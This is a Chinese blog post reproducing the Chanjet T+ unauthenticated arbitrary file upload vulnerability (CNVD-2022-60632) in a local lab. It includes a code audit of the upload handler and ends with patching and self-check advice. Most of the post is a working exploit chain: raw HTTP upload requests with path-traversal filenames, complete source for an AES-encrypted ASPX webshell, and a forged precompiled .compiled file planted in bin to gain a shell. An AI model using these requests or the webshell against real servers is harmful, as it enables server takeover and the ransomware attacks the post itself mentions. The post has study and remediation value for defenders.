首页 > 其他分享 >畅捷通T+任意文件上传(CNVD-2022-60632 )漏洞复现

畅捷通T+任意文件上传(CNVD-2022-60632 )漏洞复现

时间:2023-10-17 14:33:59浏览次数:34  
标签:0.9 File1 CNVD image 60632 Content 2022 aspx 捷通

一、漏洞描述

022年8月29日和8月30日,畅捷通公司紧急发布安全补丁修复了畅捷通T+软件任意文件上传漏洞。未经身份认证的攻击者利用该漏洞,通过绕过系统鉴权,在特定配置环境下实现任意文件的上传,从而执行任意代码,获得服务器控制权限。目前,已有用户被不法分子利用该漏洞进行勒索病毒攻击的情况出现。

CNVD对该漏洞的综合评级为“高危”。

二、影响范围

漏洞影响的产品和版本:
畅捷通T+单机版<=17.0且使用IIS10.0以下版本。

三、环境搭建

https://dad.chanapp.chanjet.com/TplusYZHJ17.0.zip

  1. 下载并解压文件

image-20221012144129181.png

  1. 进行环境检测

image-20221012144312119.png

  1. 开始检测

image-20221012144405011.png

  1. 检测通过

image-20221012144516728.png

  1. 安装

image-20221012144550907.png

  1. 选择标准版进行安装,安装时请关闭杀毒软件

image-20221012144712389.png

  1. 等待安装完成,过程中需要配置MSSQL 数据库的。不设置即可

image-20221012144926299.png

  1. 安装完成

image-20221012162024082.png

四、漏洞审计

根据网上流传的payload,找到文件

TPlusStd\WebSite\SM\SetupAccount\Upload.aspx

image-20221012165421740.png
发现该文件为编译的文件
畅捷通整套程序用了预编译,直接到根目录的bin下找对应的compiled文件
image-20221012165948574.png

TPlusStd\WebSite\bin\uploadapp.aspx.ae7ca9bd.compiled

image-20221012165932304.png

<?xml version="1.0" encoding="utf-8"?>
<preserve resultType="3" virtualPath="/WebSite/App/UploadApp.aspx" hash="16f32931f" filehash="cea02207aaa6fee7" flags="110000" assembly="App_Web_uploadapp.aspx.ae7ca9bd" type="ASP.app_uploadapp_aspx">
    <filedeps>
        <filedep name="/WebSite/App/UploadApp.aspx" />
        <filedep name="/WebSite/App/UploadApp.aspx.cs" />
    </filedeps>
</preserve>

搜索 App_Web_uploadapp.aspx.ae7ca9bd
image-20221012170303629.png

// CommonPage_SetupAccount_Upload
// Token: 0x06000004 RID: 4 RVA: 0x000020AC File Offset: 0x000002AC
protected void Page_Load(object sender, EventArgs e)
{
	this.ReadResources();
	if (base.Request.Files.Count == 1)
	{
		string text = "images/index.gif";
		object obj = this.ViewState["fileName"];
		if (obj != null)
		{
			text = obj.ToString();
		}
		if (this.File1.PostedFile.ContentLength > 204800)
		{
			base.Response.Write(string.Concat(new string[]
			{
				"<script language='javascript'>alert('",
				this.PhotoTooLarge,
				"'); parent.document.getElementById('myimg').src='",
				text,
				"';</script>"
			}));
			return;
		}
		if (this.File1.PostedFile.ContentType != "image/jpeg" && this.File1.PostedFile.ContentType != "image/bmp" && this.File1.PostedFile.ContentType != "image/gif" && this.File1.PostedFile.ContentType != "image/pjpeg")
		{
			base.Response.Write(string.Concat(new string[]
			{
				"<script language='javascript'>alert('",
				this.PhotoTypeError,
				"'); parent.document.getElementById('myimg').src='",
				text,
				"';</script>"
			}));
			return;
		}
		string fileName = this.File1.PostedFile.FileName;
		string text2 = fileName.Substring(fileName.LastIndexOf('\\') + 1);
		this.File1.PostedFile.SaveAs(base.Server.MapPath(".") + "\\images\\" + text2);
		string text3 = base.Server.MapPath(".") + "\\images\\" + text2;
		this.ViewState["fileName"] = "images/" + text2;
		TPContext.Current.Session["ImageName"] = text3;
	}
}

代码大概的意思为。上传的文件不大于2M 然后判断Content-Type 是否为其中一个类型。然后写入到images 目录中。文件名没有任何过滤。

构造一下上传代码

POST /tplus/SM/SetupAccount/Upload.aspx?preload=1 HTTP/1.1
Host: 192.168.154.139
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: ASP.NET_SessionId=gvigofzulthd2v1i2q5zndtf; Hm_lvt_fd4ca40261bc424e2d120b806d985a14=1662302093; Hm_lpvt_fd4ca40261bc424e2d120b806d985a14=1662302093
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywwk2ReqGTj7lNYlt
Content-Length: 183

------WebKitFormBoundarywwk2ReqGTj7lNYlt
Content-Disposition: form-data; name="File1";filename="222.aspx"
Content-Type: image/jpeg

1
------WebKitFormBoundarywwk2ReqGTj7lNYlt--

image-20221012171454244.png

查看images文件中是否有这个文件
image-20221012171747815.png
发现能够成功上传

五、getshell

用哥斯拉生成一个木马
image-20221013135802607.png

然后cmd执行

C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe -v /  -p C:\Tools C:\111 -fixednames

-p 代表的是你木马的目录。 C:\111 表示生成在那个目录中。

执行完毕后查看C:\111\bin目录
image-20221013135816088.png

把666.sapx上传到网站根目录
image-20221013140329332.png

POST /tplus/SM/SetupAccount/Upload.aspx?preload=1 HTTP/1.1
Host: 192.168.154.129
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: ASP.NET_SessionId=gvigofzulthd2v1i2q5zndtf; Hm_lvt_fd4ca40261bc424e2d120b806d985a14=1662302093; Hm_lpvt_fd4ca40261bc424e2d120b806d985a14=1662302093
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywwk2ReqGTj7lNYlt
Content-Length: 1327

------WebKitFormBoundarywwk2ReqGTj7lNYlt
Content-Disposition: form-data; name="File1";filename="../../../666.aspx"
Content-Type: image/jpeg

<%@ Page Language="C#"%><%try{string key = "3c6e0b8a9c15224a";byte[] data = new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(System.Text.Encoding.Default.GetBytes(key), System.Text.Encoding.Default.GetBytes(key)).TransformFinalBlock(Context.Request.BinaryRead(Context.Request.ContentLength), 0, Context.Request.ContentLength);if (Context.Session["payload"] == null){ Context.Session["payload"] = (System.Reflection.Assembly)typeof(System.Reflection.Assembly).GetMethod("Load", new System.Type[] { typeof(byte[]) }).Invoke(null, new object[] { data });}else{ object o = ((System.Reflection.Assembly)Context.Session["payload"]).CreateInstance("LY"); System.IO.MemoryStream outStream = new System.IO.MemoryStream();o.Equals(outStream);o.Equals(Context); o.Equals(data);o.ToString();byte[] r = outStream.ToArray();outStream.Dispose();Context.Response.BinaryWrite(new System.Security.Cryptography.RijndaelManaged().CreateEncryptor(System.Text.Encoding.Default.GetBytes(key), System.Text.Encoding.Default.GetBytes(key)).TransformFinalBlock(r, 0, r.Length));}}catch(System.Exception){}
%>                                      
------WebKitFormBoundarywwk2ReqGTj7lNYlt--

把这两个文件上传到畅捷通的网站根目录的bin文件夹下
image-20221013135816088.png
image-20221013140656105.png

POST /tplus/SM/SetupAccount/Upload.aspx?preload=1 HTTP/1.1
Host: 192.168.154.129
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: ASP.NET_SessionId=gvigofzulthd2v1i2q5zndtf; Hm_lvt_fd4ca40261bc424e2d120b806d985a14=1662302093; Hm_lpvt_fd4ca40261bc424e2d120b806d985a14=1662302093
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywwk2ReqGTj7lNYlt
Content-Length: 502

------WebKitFormBoundarywwk2ReqGTj7lNYlt
Content-Disposition: form-data; name="File1";filename="../../../bin/666.aspx.cdcab7d2.compiled"
Content-Type: image/jpeg

<?xml version="1.0" encoding="utf-8"?>
<preserve resultType="3" virtualPath="/666.aspx" hash="88eec7b1a" filehash="ffffcef8fb51b1fb" flags="110000" assembly="App_Web_666.aspx.cdcab7d2" type="ASP._666_aspx">
    <filedeps>
        <filedep name="/666.aspx" />
    </filedeps>
</preserve>
------WebKitFormBoundarywwk2ReqGTj7lNYlt--

使用哥斯拉连接shell
http://192.168.154.129/tplus/666.aspx?preload=1
image-20221013150351889.png
连接成功
image.png

六、修复建议

目前,畅捷通公司已紧急发布漏洞补丁修复该漏洞,CNVD建议受影响的单位和用户立即升级至最新版本:
https://www.chanjetvip.com/product/goods
同时,请受漏洞影响的单位和用户立即按照以下步骤开展自查和修复工作:
1、用户自查步骤:
查询本地是否存在website/bin/load.aspx.cdcab7d2.compiled、website/bin/App_Web_load.aspx.cdcab7d2.dll、tplus/Load.aspx文件,如存在说明已经中毒,须重装系统,并安装产品打补丁。

2、未中毒用户请:

  1. 更新最新产品补丁。
  2. 安装杀毒软件,并及时升级病毒库。
  3. 升级IIS和Nginx低版本至IIS10.0和Windows 2016。
  4. 本地安装客户需尽快确认备份文件是否完整,以及做了异地备份。云上客户请及时开启镜像功能。
  5. 未能及时更新补丁的用户,可联系畅捷通技术支持,采取删除文件等临时防范措施。

3、已中毒用户请:

  1. 检查服务器是否有做定期快照或备份,如有可通过快照或备份恢复数据。
  2. 联系畅捷通技术支持,确认是否具备从备份文件恢复数据的条件及操作方法。

参考链接:https://www.o2oxy.cn/4104.html

标签:0.9,File1,CNVD,image,60632,Content,2022,aspx,捷通
From: https://www.cnblogs.com/mr-ryan/p/17769602.html

相关文章

  • Qt ObjectARX 2022
    QT中的ARX配置LoadQtDlls.pro1TARGET=QTARXLoadQtDlls2#thesdkincludepath3INCLUDEPATH+="D:\ObjectARX2022\inc"4INCLUDEPATH+="D:\ObjectARX2022\inc-x64"56#rxapi.lib;acdb21.lib;acge21.lib;acad.lib;ac1st21.li......
  • 使用visual studio 2022统计项目代码总行数
    第一步打开项目解决方案,第二步使用快捷键打开查找对话框1)输入:b*[^:b#/]+.*$2)使用正则表达式3)查找范围:整个解决方案4)查找全部......
  • [刷题笔记] CSP-J 2022 T4 上升点列
    Description在一个二维平面内,给定\(n\)个整数点\((x_i,y_i)\),此外你还可以自由添加\(k\)个整数点。你在自由添加\(k\)个点后,还需要从\(n+k\)个点中选出若干个整数点并组成一个序列,使得序列中任意相邻两点间的欧几里得距离恰好为\(1\)而且横坐标、纵坐标值均单调不......
  • Origin 2022 中文版 下载及安装教程!
    软件介绍:Origin是由OriginLab公司开发的一个科学绘图、数据分析软件,支持在MicrosoftWindows下运行。Origin支持各种各样的2D/3D图形。Origin中的数据分析功能包括统计,信号处理,曲线拟合以及峰值分析。Origin中的曲线拟合是采用基于Levernberg-Marquardt算法(LMA)的非线性最小二乘法拟......
  • Adobe Prelude 2022「Pl视频编辑软件」中文直装汉化版下载与安装
    AdobePrelude2022是一个超级好用的视频剪辑软件,软件功能非常齐全,可随时对视频进行剪辑操作,用时可对各种视频进行剪辑,增加各种音效,以及使用素材,在用户的使用中可以打开强大的后期操作,如果需要视频剪辑,就可以直接下载AdobePrelude2022汉化版,该剪辑只需添加所需的文字特征,动作改编......
  • Media Encoder 2022「视频与音频编码工具」免激活直装汉化版下载
    MediaEncoder是由Adobe公司开发的一款专业的视频和音频转码工具,可以将几乎所有格式的媒体文件转换为其他格式而无需重新导出视频或音频剪辑。 软件地址:看置顶贴AdobeMediaEncoderCC2022怎么使用对文件进行编码时,AdobeMediaEncoder中有五个主面板可供使用。您可以将面板作......
  • 阶段总结(至 2022.12.31)
    这是一篇阶段性总结,OI浓度很高,间杂2020~2022的部分比赛游记。0前言\({\color{White}{动工于2022.11.4}}\)明天你是否会想起,昨天未调完的题。此后你是否还惦记,考场写挂的暴力。同行的日子都远去,我们也终将退役。多年后谁会再想起,定格考场的记忆。几个月之前在洛......
  • 2022 China Collegiate Programming Contest (CCPC) Guilin Site(持续更新)
    Preface由于还有两周就要滚去打区域赛了,这周开始周末每天都训一场吧这场总体来说打的还可以,虽然E题这个Easy从卡局卡到3h,但由于其它的题都是一遍过所以罚时还尚可跻进Au区后面一个小时看徐神和祁神苦战K大分类讨论,虽然场下感觉摸了一个B的做法出来,但感觉实现还是太麻烦了就没写......
  • [CSP-S 2022] 假期计划
    [CSP-S2022]假期计划题目传送门题目大意给定一个$n\leq2500,m\leq10000$的无向图,有点权。求一条点权和最大的路径$1\toA\toB\toC\toD\to1$,满足:$A,B,C,D$均不为$1$,且互不相同;每一段路径上经过的点的数量小于等于$k$。题目分析不难想到要通过bfs预处理出......
  • [CSP-S 2022] 策略游戏
    [CSP-S2022]策略游戏题目传送门题目分析本文中A和B分别代表小L和小Q,而原题中的$A$,$B$两个数组在本题中分别用$a$和$b$表示。矩阵这个描述就是障眼法。翻译一下题目:A在$a[l_1\cdotsr_1]$中选择一个$x$,然后B在$b[l_2\cdotsr_2]$中选择一个$y$,分数......